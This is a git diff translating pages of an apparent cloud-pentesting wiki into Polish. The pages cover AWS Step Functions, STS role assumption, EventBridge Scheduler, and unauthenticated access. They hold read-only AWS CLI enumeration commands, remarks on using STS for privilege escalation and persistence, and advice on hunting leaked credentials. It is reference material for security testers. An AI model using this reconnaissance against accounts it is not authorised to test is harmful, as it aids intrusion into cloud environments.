określono ponowne próby. Jest idealny dla przepływów pracy wymagających szczegółowej historii wykonania i może działać przez maksymalnie jeden rok. +- **Ekspresowy przepływ pracy**: Ten typ jest idealny dla zadań o dużej objętości i krótkim czasie trwania, działających do pięciu minut. Obsługują **wykonanie przynajmniej raz**, odpowiednie dla idempotentnych zadań, takich jak przetwarzanie danych. Te przepływy pracy są zoptymalizowane pod kątem kosztów i wydajności, naliczając opłaty na podstawie wykonania, czasu trwania i użycia pamięci. -### States +### Stany -States are the essential units of state machines. They define the individual steps within a workflow, being able to perform a variety of functions depending on its type: +Stany są podstawowymi jednostkami maszyn stanów. Definiują poszczególne kroki w przepływie pracy, mogąc wykonywać różnorodne funkcje w zależności od ich typu: -- **Task:** Executes a job, often using an AWS service like Lambda. -- **Choice:** Makes decisions based on input. -- **Fail/Succeed:** Ends the execution with a failure or success. -- **Pass:** Passes input to output or injects data. -- **Wait:** Delays execution for a set time. -- **Parallel:** Initiates parallel branches. -- **Map:** Dynamically iterates steps over items. +- **Zadanie:** Wykonuje pracę, często korzystając z usługi AWS, takiej jak Lambda. +- **Wybór:** Podejmuje decyzje na podstawie wejścia. +- **Niepowodzenie/Sukces:** Kończy wykonanie z niepowodzeniem lub sukcesem. +- **Przekazanie:** Przekazuje dane wejściowe do wyjścia lub wstrzykuje dane. +- **Czekanie:** Opóźnia wykonanie na określony czas. +- **Równolegle:** Inicjuje równoległe gałęzie. +- **Mapowanie:** Dynamicznie iteruje kroki nad elementami. -### Task +### Zadanie -A **Task** state represents a single unit of work executed by a state machine. Tasks can invoke various resources, including activities, Lambda functions, AWS services, or third-party APIs. +Stan **Zadanie** reprezentuje pojedynczą jednostkę pracy wykonywaną przez maszynę stanów. Zadania mogą wywoływać różne zasoby, w tym aktywności, funkcje Lambda, usługi AWS lub interfejsy API stron trzecich. -- **Activities**: Custom workers you manage, suitable for long-running processes. - - Resource: **`arn:aws:states:region:account:activity:name`**. -- **Lambda Functions**: Executes AWS Lambda functions. - - Resource: **`arn:aws:lambda:region:account:function:function-name`**. -- **AWS Services**: Integrates directly with other AWS services, like DynamoDB or S3. - - Resource: **`arn:partition:states:region:account:servicename:APIname`**. -- **HTTP Task**: Calls third-party APIs. - - Resource field: **`arn:aws:states:::http:invoke`**. Then, you should provide the API endpoint configuration details, such as the API URL, method, and authentication details. - -The following example shows a Task state definition that invokes a Lambda function called HelloWorld: +- **Aktywności**: Niestandardowi pracownicy, którymi zarządzasz, odpowiedni dla długoterminowych procesów. +- Zasób: **`arn:aws:states:region:account:activity:name`**. +- **Funkcje Lambda**: Wykonuje funkcje AWS Lambda. +- Zasób: **`arn:aws:lambda:region:account:function:function-name`**. +- **Usługi AWS**: Integruje się bezpośrednio z innymi usługami AWS, takimi jak DynamoDB lub S3. +- Zasób: **`arn:partition:states:region:account:servicename:APIname`**. +- **Zadanie HTTP**: Wywołuje interfejsy API stron trzecich. +- Pole zasobu: **`arn:aws:states:::http:invoke`**. Następnie należy podać szczegóły konfiguracji punktu końcowego API, takie jak adres URL API, metoda i szczegóły uwierzytelnienia. +Poniższy przykład pokazuje definicję stanu Zadanie, która wywołuje funkcję Lambda o nazwie HelloWorld: ```json "HelloWorld": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "Parameters": { - "Payload.$": "$", - "FunctionName": "arn:aws:lambda:::function:HelloWorld" - }, - "End": true +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"Payload.$": "$", +"FunctionName": "arn:aws:lambda:::function:HelloWorld" +}, +"End": true } ``` - ### Choice -A **Choice** state adds conditional logic to a workflow, enabling decisions based on input data. It evaluates the specified conditions and transitions to the corresponding state based on the results. +Stan **Choice** dodaje logikę warunkową do przepływu pracy, umożliwiając podejmowanie decyzji na podstawie danych wejściowych. Ocenia określone warunki i przechodzi do odpowiedniego stanu na podstawie wyników. -- **Comparison**: Each choice rule includes a comparison operator (e.g., **`NumericEquals`**, **`StringEquals`**) that compares an input variable to a specified value or another variable. -- **Next Field**: Choice states do not support don't support the **`End`** field, instead, they define the **`Next`** state to transition to if the comparison is true. - -Example of **Choice** state: +- **Porównanie**: Każda reguła wyboru zawiera operator porównania (np. **`NumericEquals`**, **`StringEquals`**), który porównuje zmienną wejściową z określoną wartością lub inną zmienną. +- **Pole Next**: Stany wyboru nie obsługują pola **`End`**, zamiast tego definiują stan **`Next`**, do którego należy przejść, jeśli porównanie jest prawdziwe. +Przykład stanu **Choice**: ```json { - "Variable": "$.timeStamp", - "TimestampEquals": "2000-01-01T00:00:00Z", - "Next": "TimeState" +"Variable": "$.timeStamp", +"TimestampEquals": "2000-01-01T00:00:00Z", +"Next": "TimeState" } ``` - ### Fail/Succeed -A **`Fail`** state stops the execution of a state machine and marks it as a failure. It is used to specify an error name and a cause, providing details about the failure. This state is terminal, meaning it ends the execution flow. +Stan **`Fail`** zatrzymuje wykonanie maszyny stanów i oznacza ją jako niepowodzenie. Służy do określenia nazwy błędu i przyczyny, dostarczając szczegóły dotyczące niepowodzenia. Ten stan jest terminalny, co oznacza, że kończy przepływ wykonania. -A **`Succeed`** state stops the execution successfully. It is typically used to terminate the workflow when it completes successfully. This state does not require a **`Next`** field. +Stan **`Succeed`** zatrzymuje wykonanie pomyślnie. Zwykle jest używany do zakończenia przepływu pracy, gdy zakończy się pomyślnie. Ten stan nie wymaga pola **`Next`**. {{#tabs }} {{#tab name="Fail example" }} - ```json "FailState": { - "Type": "Fail", - "Error": "ErrorName", - "Cause": "Error details" +"Type": "Fail", +"Error": "ErrorName", +"Cause": "Error details" } ``` - {{#endtab }} -{{#tab name="Succeed example" }} - +{{#tab name="Przykład sukcesu" }} ```json "SuccessState": { - "Type": "Succeed" +"Type": "Succeed" } ``` - {{#endtab }} {{#endtabs }} ### Pass -A **Pass** state passes its input to its output either without performing any work or transformin JSON state input using filters, and then passing the transformed data to the next state. It is useful for testing and constructing state machines, allowing you to inject static data or transform it. - +Stan **Pass** przekazuje swoje dane wejściowe do wyjścia, albo bez wykonywania jakiejkolwiek pracy, albo przekształcając dane wejściowe JSON za pomocą filtrów, a następnie przekazując przekształcone dane do następnego stanu. Jest przydatny do testowania i konstruowania maszyn stanowych, umożliwiając wstrzykiwanie statycznych danych lub ich przekształcanie. ```json "PassState": { - "Type": "Pass", - "Result": {"key": "value"}, - "ResultPath": "$.newField", - "Next": "NextState" +"Type": "Pass", +"Result": {"key": "value"}, +"ResultPath": "$.newField", +"Next": "NextState" +} +``` +### Wait + +Stan **Wait** opóźnia wykonanie maszyny stanów na określony czas. Istnieją trzy główne metody konfigurowania czasu oczekiwania: + +- **X Sekund**: Stała liczba sekund do oczekiwania. + +```json +"WaitState": { +"Type": "Wait", +"Seconds": 10, +"Next": "NextState" } ``` -### Wait +- **Absolutny znacznik czasu**: Dokładny czas, do którego należy czekać. -A **Wait** state delays the execution of the state machine for a specified duration. There are three primary methods to configure the wait time: +```json +"WaitState": { +"Type": "Wait", +"Timestamp": "2024-03-14T01:59:00Z", +"Next": "NextState" +} +``` -- **X Seconds**: A fixed number of seconds to wait. +- **Dynamiczne oczekiwanie**: Oparte na danych wejściowych przy użyciu **`SecondsPath`** lub **`TimestampPath`**. - ```json - "WaitState": { - "Type": "Wait", - "Seconds": 10, - "Next": "NextState" - } - ``` - -- **Absolute Timestamp**: An exact time to wait until. - - ```json - "WaitState": { - "Type": "Wait", - "Timestamp": "2024-03-14T01:59:00Z", - "Next": "NextState" - } - ``` - -- **Dynamic Wait**: Based on input using **`SecondsPath`** or **`TimestampPath`**. - - ```json - jsonCopiar código - "WaitState": { - "Type": "Wait", - "TimestampPath": "$.expirydate", - "Next": "NextState" - } - ``` +```json +jsonCopiar código +"WaitState": { +"Type": "Wait", +"TimestampPath": "$.expirydate", +"Next": "NextState" +} +``` ### Parallel -A **Parallel** state allows you to execute multiple branches of tasks concurrently within your workflow. Each branch runs independently and processes its own sequence of states. The execution waits until all branches complete before proceeding to the next state. Its key fields are: - -- **Branches**: An array defining the parallel execution paths. Each branch is a separate state machine. -- **ResultPath**: Defines where (in the input) to place the combined output of the branches. -- **Retry and Catch**: Error handling configurations for the parallel state. +Stan **Parallel** pozwala na jednoczesne wykonywanie wielu gałęzi zadań w ramach twojego przepływu pracy. Każda gałąź działa niezależnie i przetwarza swoją własną sekwencję stanów. Wykonanie czeka, aż wszystkie gałęzie zakończą się, zanim przejdzie do następnego stanu. Jego kluczowe pola to: +- **Branches**: Tablica definiująca równoległe ścieżki wykonania. Każda gałąź to osobna maszyna stanów. +- **ResultPath**: Definiuje, gdzie (w danych wejściowych) umieścić połączony wynik gałęzi. +- **Retry and Catch**: Konfiguracje obsługi błędów dla stanu równoległego. ```json "ParallelState": { - "Type": "Parallel", - "Branches": [ - { - "StartAt": "Task1", - "States": { ... } - }, - { - "StartAt": "Task2", - "States": { ... } - } - ], - "Next": "NextState" +"Type": "Parallel", +"Branches": [ +{ +"StartAt": "Task1", +"States": { ... } +}, +{ +"StartAt": "Task2", +"States": { ... } +} +], +"Next": "NextState" +} +``` +### Map + +Stan **Map** umożliwia wykonanie zestawu kroków dla każdego elementu w zbiorze danych. Jest używany do równoległego przetwarzania danych. W zależności od tego, jak chcesz przetwarzać elementy zbioru danych, Step Functions oferuje następujące tryby: + +- **Inline Mode**: Wykonuje podzbiór stanów dla każdego elementu tablicy JSON. Odpowiedni dla małych zadań z mniej niż 40 równoległymi iteracjami, uruchamiając każdą z nich w kontekście przepływu pracy, który zawiera stan **`Map`**. + +```json +"MapState": { +"Type": "Map", +"ItemsPath": "$.arrayItems", +"ItemProcessor": { +"ProcessorConfig": { +"Mode": "INLINE" +}, +"StartAt": "AddState", +"States": { +"AddState": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"OutputPath": "$.Payload", +"Parameters": { +"FunctionName": "arn:aws:lambda:::function:add-function" +}, +"End": true +} +} +}, +"End": true +"ResultPath": "$.detail.added", +"ItemsPath": "$.added" } ``` -### Map +- **Distributed Mode**: Zaprojektowany do przetwarzania równoległego na dużą skalę z wysoką współbieżnością. Obsługuje przetwarzanie dużych zbiorów danych, takich jak te przechowywane w Amazon S3, umożliwiając wysoką współbieżność do 10 000 równoległych wykonania dziecięcych przepływów pracy, uruchamiając te dzieci jako osobne wykonania. -A **Map** state enables the execution of a set of steps for each item in an dataset. It's used for parallel processing of data. Depending on how you want to process the items of the dataset, Step Functions provides the following modes: - -- **Inline Mode**: Executes a subset of states for each JSON array item. Suitable for small-scale tasks with less than 40 parallel iterations, running each of them in the context of the workflow that contains the **`Map`** state. - - ```json - "MapState": { - "Type": "Map", - "ItemsPath": "$.arrayItems", - "ItemProcessor": { - "ProcessorConfig": { - "Mode": "INLINE" - }, - "StartAt": "AddState", - "States": { - "AddState": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "OutputPath": "$.Payload", - "Parameters": { - "FunctionName": "arn:aws:lambda:::function:add-function" - }, - "End": true - } - } - }, - "End": true - "ResultPath": "$.detail.added", - "ItemsPath": "$.added" - } - ``` - -- **Distributed Mode**: Designed for large-scale parallel processing with high concurrency. Supports processing large datasets, such as those stored in Amazon S3, enabling a high concurrency of up 10,000 parallel child workflow executions, running these child as a separate child execution. - - ```json - "DistributedMapState": { - "Type": "Map", - "ItemReader": { - "Resource": "arn:aws:states:::s3:getObject", - "Parameters": { - "Bucket": "my-bucket", - "Key": "data.csv" - } - }, - "ItemProcessor": { - "ProcessorConfig": { - "Mode": "DISTRIBUTED", - "ExecutionType": "EXPRESS" - }, - "StartAt": "ProcessItem", - "States": { - "ProcessItem": { - "Type": "Task", - "Resource": "arn:aws:lambda:region:account-id:function:my-function", - "End": true - } - } - }, - "End": true - "ResultWriter": { - "Resource": "arn:aws:states:::s3:putObject", - "Parameters": { - "Bucket": "myOutputBucket", - "Prefix": "csvProcessJobs" - } - } - } - ``` +```json +"DistributedMapState": { +"Type": "Map", +"ItemReader": { +"Resource": "arn:aws:states:::s3:getObject", +"Parameters": { +"Bucket": "my-bucket", +"Key": "data.csv" +} +}, +"ItemProcessor": { +"ProcessorConfig": { +"Mode": "DISTRIBUTED", +"ExecutionType": "EXPRESS" +}, +"StartAt": "ProcessItem", +"States": { +"ProcessItem": { +"Type": "Task", +"Resource": "arn:aws:lambda:region:account-id:function:my-function", +"End": true +} +} +}, +"End": true +"ResultWriter": { +"Resource": "arn:aws:states:::s3:putObject", +"Parameters": { +"Bucket": "myOutputBucket", +"Prefix": "csvProcessJobs" +} +} +} +``` ### Versions and aliases -Step Functions also lets you manage workflow deployments through **versions** and **aliases** of state machines. A version represents a snapshot of a state machine that can be executed. Aliases serve as pointers to up to two versions of a state machine. +Step Functions umożliwia również zarządzanie wdrożeniami przepływów pracy za pomocą **wersji** i **aliasów** maszyn stanów. Wersja reprezentuje migawkę maszyny stanów, która może być wykonana. Aliasy służą jako wskaźniki do maksymalnie dwóch wersji maszyny stanów. -- **Versions**: These immutable snapshots of a state machine are created from the most recent revision of that state machine. Each version is identified by a unique ARN that combines the state machine ARN with the version number, separated by a colon (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Versions cannot be edited, but you can update the state machine and publish a new version, or use the desired state machine version. -- **Aliases**: These pointers can reference up to two versions of the same state machine. Multiple aliases can be created for a single state machine, each identified by a unique ARN constructed by combining the state machine ARN with the alias name, separated by a colon (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Aliases enable routing of traffic between one of the two versions of a state machine. Alternatively, an alias can point to a single specific version of the state machine, but not to other aliases. They can be updated to redirect to a different version of the state machine as needed, facilitating controlled deployments and workflow management. +- **Versions**: Te niezmienne migawki maszyny stanów są tworzone z najnowszej rewizji tej maszyny stanów. Każda wersja jest identyfikowana przez unikalny ARN, który łączy ARN maszyny stanów z numerem wersji, oddzielonym dwukropkiem (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Wersje nie mogą być edytowane, ale możesz zaktualizować maszynę stanów i opublikować nową wersję lub użyć pożądanej wersji maszyny stanów. +- **Aliases**: Te wskaźniki mogą odnosić się do maksymalnie dwóch wersji tej samej maszyny stanów. Można utworzyć wiele aliasów dla jednej maszyny stanów, z których każdy jest identyfikowany przez unikalny ARN skonstruowany przez połączenie ARN maszyny stanów z nazwą aliasu, oddzielonym dwukropkiem (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Aliasy umożliwiają kierowanie ruchu między jedną z dwóch wersji maszyny stanów. Alternatywnie, alias może wskazywać na jedną konkretną wersję maszyny stanów, ale nie na inne aliasy. Mogą być aktualizowane, aby przekierować do innej wersji maszyny stanów w razie potrzeby, ułatwiając kontrolowane wdrożenia i zarządzanie przepływem pracy. -For more detailed information about **ASL**, check: [**Amazon States Language**](https://states-language.net/spec.html). +Aby uzyskać bardziej szczegółowe informacje na temat **ASL**, sprawdź: [**Amazon States Language**](https://states-language.net/spec.html). ## IAM Roles for State machines -AWS Step Functions utilizes AWS Identity and Access Management (IAM) roles to control access to resources and actions within state machines. Here are the key aspects related to security and IAM roles in AWS Step Functions: +AWS Step Functions wykorzystuje role AWS Identity and Access Management (IAM) do kontrolowania dostępu do zasobów i działań w ramach maszyn stanów. Oto kluczowe aspekty związane z bezpieczeństwem i rolami IAM w AWS Step Functions: -- **Execution Role**: Each state machine in AWS Step Functions is associated with an IAM execution role. This role defines what actions the state machine can perform on your behalf. When a state machine transitions between states that interact with AWS services (like invoking Lambda functions, accessing DynamoDB, etc.), it assumes this execution role to carry out those actions. -- **Permissions**: The IAM execution role must be configured with permissions that allow the necessary actions on other AWS services. For example, if your state machine needs to invoke AWS Lambda functions, the IAM role must have **`lambda:InvokeFunction`** permissions. Similarly, if it needs to write to DynamoDB, appropriate permissions (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, etc.) must be granted. +- **Execution Role**: Każda maszyna stanów w AWS Step Functions jest powiązana z rolą wykonawczą IAM. Ta rola definiuje, jakie działania maszyna stanów może wykonywać w Twoim imieniu. Gdy maszyna stanów przechodzi między stanami, które wchodzą w interakcję z usługami AWS (takimi jak wywoływanie funkcji Lambda, dostęp do DynamoDB itp.), przyjmuje tę rolę wykonawczą, aby wykonać te działania. +- **Permissions**: Rola wykonawcza IAM musi być skonfigurowana z uprawnieniami, które pozwalają na niezbędne działania w innych usługach AWS. Na przykład, jeśli Twoja maszyna stanów musi wywołać funkcje AWS Lambda, rola IAM musi mieć uprawnienia **`lambda:InvokeFunction`**. Podobnie, jeśli musi zapisać do DynamoDB, odpowiednie uprawnienia (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, itp.) muszą być przyznane. ## Enumeration -ReadOnlyAccess policy is enough for all the following enumeration actions. - +Polityka ReadOnlyAccess jest wystarczająca dla wszystkich poniższych działań enumeracyjnych. ```bash # State machines # @@ -310,10 +297,9 @@ aws stepfunctions describe-map-run --map-run-arn ## Lists executions of a Map Run aws stepfunctions list-executions --map-run-arn [--status-filter ] [--redrive-filter ] ``` - ## Privesc -In the following page, you can check how to **abuse Step Functions permissions to escalate privileges**: +Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień Step Functions, aby eskalować uprawnienia**: {{#ref}} ../aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -338,7 +324,3 @@ In the following page, you can check how to **abuse Step Functions permissions t - [https://states-language.net/spec.html](https://states-language.net/spec.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md index 385d55c3b..f6962c193 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md @@ -4,62 +4,57 @@ ## STS -**AWS Security Token Service (STS)** is primarily designed to issue **temporary, limited-privilege credentials**. These credentials can be requested for **AWS Identity and Access Management (IAM)** users or for authenticated users (federated users). +**AWS Security Token Service (STS)** jest głównie zaprojektowany do wydawania **tymczasowych, ograniczonych uprawnień**. Te poświadczenia mogą być żądane dla **użytkowników AWS Identity and Access Management (IAM)** lub dla uwierzytelnionych użytkowników (użytkowników federacyjnych). -Given that STS's purpose is to **issue credentials for identity impersonation**, the service is immensely valuable for **escalating privileges and maintaining persistence**, even though it might not have a wide array of options. +Biorąc pod uwagę, że celem STS jest **wydawanie poświadczeń do podszywania się pod tożsamość**, usługa ta jest niezwykle cenna dla **eskalacji uprawnień i utrzymywania trwałości**, mimo że może nie mieć szerokiego zakresu opcji. -### Assume Role Impersonation +### Podszywanie się pod rolę -The action [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) provided by AWS STS is crucial as it permits a principal to acquire credentials for another principal, essentially impersonating them. Upon invocation, it responds with an access key ID, a secret key, and a session token corresponding to the specified ARN. +Akcja [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) dostarczona przez AWS STS jest kluczowa, ponieważ pozwala podmiotowi na uzyskanie poświadczeń dla innego podmiotu, zasadniczo się pod niego podszywając. Po wywołaniu, odpowiada kluczem dostępu, kluczem tajnym i tokenem sesji odpowiadającym określonemu ARN. -For Penetration Testers or Red Team members, this technique is instrumental for privilege escalation (as elaborated [**here**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). However, it's worth noting that this technique is quite conspicuous and may not catch an attacker off guard. +Dla testerów penetracyjnych lub członków zespołu Red Team, ta technika jest niezbędna do eskalacji uprawnień (jak szczegółowo opisano [**tutaj**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). Warto jednak zauważyć, że ta technika jest dość oczywista i może nie zaskoczyć atakującego. -#### Assume Role Logic - -In order to assume a role in the same account if the **role to assume is allowing specifically a role ARN** like in: +#### Logika podszywania się pod rolę +Aby przyjąć rolę w tym samym koncie, jeśli **rola do przyjęcia pozwala konkretnie na ARN roli** jak w: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::role/priv-role" - }, - "Action": "sts:AssumeRole", - "Condition": {} - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::role/priv-role" +}, +"Action": "sts:AssumeRole", +"Condition": {} +} +] } ``` +Rola **`priv-role`** w tym przypadku **nie musi być specjalnie dozwolona** do przyjęcia tej roli (wystarczy to zezwolenie). -The role **`priv-role`** in this case, **doesn't need to be specifically allowed** to assume that role (with that allowance is enough). - -However, if a role is allowing an account to assume it, like in: - +Jednakże, jeśli rola pozwala na przyjęcie jej przez konto, jak w: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "sts:AssumeRole", - "Condition": {} - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "sts:AssumeRole", +"Condition": {} +} +] } ``` +Rola, która próbuje przyjąć, będzie potrzebować **specyficznego uprawnienia `sts:AssumeRole`** nad tą rolą **aby ją przyjąć**. -The role trying to assume it will need a **specific `sts:AssumeRole` permission** over that role **to assume it**. - -If you try to assume a **role** **from a different account**, the **assumed role must allow it** (indicating the role **ARN** or the **external account**), and the **role trying to assume** the other one **MUST** to h**ave permissions to assume it** (in this case this isn't optional even if the assumed role is specifying an ARN). +Jeśli spróbujesz przyjąć **rolę** **z innego konta**, **przyjęta rola musi na to zezwolić** (wskazując **ARN** roli lub **zewnętrzne konto**), a **rola próbująca przyjąć** tę drugą **MUSI** mieć **uprawnienia do jej przyjęcia** (w tym przypadku nie jest to opcjonalne, nawet jeśli przyjęta rola określa ARN). ### Enumeration - ```bash # Get basic info of the creds aws sts get-caller-identity @@ -72,10 +67,9 @@ aws sts get-session-token ## MFA aws sts get-session-token --serial-number --token-code ``` - ### Privesc -In the following page you can check how to **abuse STS permissions to escalate privileges**: +Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień STS, aby eskalować uprawnienia**: {{#ref}} ../aws-privilege-escalation/aws-sts-privesc.md @@ -98,7 +92,3 @@ In the following page you can check how to **abuse STS permissions to escalate p - [https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist](https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md index a2f2e0c2f..93142f8f7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md @@ -6,49 +6,48 @@ ## EventBridge Scheduler -**Amazon EventBridge Scheduler** is a fully managed, **serverless scheduler designed to create, run, and manage tasks** at scale. It enables you to schedule millions of tasks across over 270 AWS services and 6,000+ API operations, all from a central service. With built-in reliability and no infrastructure to manage, EventBridge Scheduler simplifies scheduling, reduces maintenance costs, and scales automatically to meet demand. You can configure cron or rate expressions for recurring schedules, set one-time invocations, and define flexible delivery windows with retry options, ensuring tasks are reliably delivered based on the availability of downstream targets. +**Amazon EventBridge Scheduler** to w pełni zarządzany, **bezserwerowy harmonogram zaprojektowany do tworzenia, uruchamiania i zarządzania zadaniami** na dużą skalę. Umożliwia planowanie milionów zadań w ponad 270 usługach AWS i 6,000+ operacjach API, wszystko z jednego centralnego serwisu. Dzięki wbudowanej niezawodności i braku infrastruktury do zarządzania, EventBridge Scheduler upraszcza harmonogramowanie, obniża koszty utrzymania i automatycznie skaluje się w odpowiedzi na zapotrzebowanie. Możesz konfigurować wyrażenia cron lub rate dla harmonogramów cyklicznych, ustawiać jednorazowe wywołania oraz definiować elastyczne okna dostawy z opcjami ponownego próbowania, zapewniając niezawodne dostarczanie zadań w oparciu o dostępność celów downstream. -There is an initial limit of 1,000,000 schedules per region per account. Even the official quotas page suggests, "It's recommended to delete one-time schedules once they've completed." +Początkowy limit wynosi 1,000,000 harmonogramów na region na konto. Nawet oficjalna strona limitów sugeruje: "Zaleca się usunięcie jednorazowych harmonogramów po ich zakończeniu." -### Types of Schedules +### Typy Harmonogramów -Types of Schedules in EventBridge Scheduler: +Typy Harmonogramów w EventBridge Scheduler: -1. **One-time schedules** – Execute a task at a specific time, e.g., December 21st at 7 AM UTC. -2. **Rate-based schedules** – Set recurring tasks based on a frequency, e.g., every 2 hours. -3. **Cron-based schedules** – Set recurring tasks using a cron expression, e.g., every Friday at 4 PM. +1. **Jednorazowe harmonogramy** – Wykonaj zadanie w określonym czasie, np. 21 grudnia o 7:00 UTC. +2. **Harmonogramy oparte na częstotliwości** – Ustaw cykliczne zadania na podstawie częstotliwości, np. co 2 godziny. +3. **Harmonogramy oparte na cron** – Ustaw cykliczne zadania za pomocą wyrażenia cron, np. w każdy piątek o 16:00. -Two Mechanisms for Handling Failed Events: +Dwa mechanizmy obsługi nieudanych zdarzeń: -1. **Retry Policy** – Defines the number of retry attempts for a failed event and how long to keep it unprocessed before considering it a failure. -2. **Dead-Letter Queue (DLQ)** – A standard Amazon SQS queue where failed events are delivered after retries are exhausted. DLQs help in troubleshooting issues with your schedule or its downstream target. +1. **Polityka ponownego próbowania** – Definiuje liczbę prób ponownego wykonania dla nieudanego zdarzenia oraz jak długo pozostawić je nieprzetworzone przed uznaniem za niepowodzenie. +2. **Kolejka martwych listów (DLQ)** – Standardowa kolejka Amazon SQS, do której dostarczane są nieudane zdarzenia po wyczerpaniu prób ponownego wykonania. DLQ pomagają w rozwiązywaniu problemów z harmonogramem lub jego celem downstream. -### Targets +### Cele -There are 2 types of targets for a scheduler [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), which are commonly used and AWS made them easier to configure, and [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), which can be used to call any AWS API. +Istnieją 2 typy celów dla harmonogramu [**szablonowe (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), które są powszechnie używane i AWS ułatwiło ich konfigurację, oraz [**uniwersalne (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), które mogą być używane do wywoływania dowolnego API AWS. -**Templated targets** support the following services: +**Cele szablonowe** obsługują następujące usługi: - CodeBuild – StartBuild - CodePipeline – StartPipelineExecution - Amazon ECS – RunTask - - Parameters: EcsParameters +- Parametry: EcsParameters - EventBridge – PutEvents - - Parameters: EventBridgeParameters +- Parametry: EventBridgeParameters - Amazon Inspector – StartAssessmentRun - Kinesis – PutRecord - - Parameters: KinesisParameters +- Parametry: KinesisParameters - Firehose – PutRecord - Lambda – Invoke - SageMaker – StartPipelineExecution - - Parameters: SageMakerPipelineParameters +- Parametry: SageMakerPipelineParameters - Amazon SNS – Publish - Amazon SQS – SendMessage - - Parameters: SqsParameters +- Parametry: SqsParameters - Step Functions – StartExecution -### Enumeration - +### Enumeracja ```bash # List all EventBridge Scheduler schedules aws scheduler list-schedules @@ -65,10 +64,9 @@ aws scheduler get-schedule-group --name # List tags for a specific schedule (helpful in identifying any custom tags or permissions) aws scheduler list-tags-for-resource --resource-arn ``` - ### Privesc -In the following page, you can check how to **abuse eventbridge scheduler permissions to escalate privileges**: +Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień eventbridge scheduler, aby eskalować uprawnienia**: {{#ref}} ../aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -79,7 +77,3 @@ In the following page, you can check how to **abuse eventbridge scheduler permis - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md index 0003290b4..f815f92a2 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md @@ -1,58 +1,54 @@ -# AWS - Unauthenticated Enum & Access +# AWS - Nieautoryzowane Enum & Dostęp {{#include ../../../banners/hacktricks-training.md}} -## AWS Credentials Leaks +## Wycieki poświadczeń AWS -A common way to obtain access or information about an AWS account is by **searching for leaks**. You can search for leaks using **google dorks**, checking the **public repos** of the **organization** and the **workers** of the organization in **Github** or other platforms, searching in **credentials leaks databases**... or in any other part you think you might find any information about the company and its cloud infa.\ -Some useful **tools**: +Powszechnym sposobem na uzyskanie dostępu lub informacji o koncie AWS jest **wyszukiwanie wycieków**. Możesz wyszukiwać wycieki używając **google dorks**, sprawdzając **publiczne repozytoria** organizacji oraz **pracowników** organizacji na **Githubie** lub innych platformach, przeszukując **bazy danych wycieków poświadczeń**... lub w każdej innej części, w której myślisz, że możesz znaleźć jakiekolwiek informacje o firmie i jej infrastrukturze w chmurze.\ +Kilka przydatnych **narzędzi**: - [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos) - [https://github.com/carlospolop/pastos](https://github.com/carlospolop/pastos) - [https://github.com/carlospolop/gorks](https://github.com/carlospolop/gorks) -## AWS Unauthenticated Enum & Access +## AWS Nieautoryzowane Enum & Dostęp -There are several services in AWS that could be configured giving some kind of access to all Internet or to more people than expected. Check here how: +Istnieje kilka usług w AWS, które mogą być skonfigurowane, dając jakiś rodzaj dostępu do całego Internetu lub do większej liczby osób niż oczekiwano. Sprawdź tutaj jak: -- 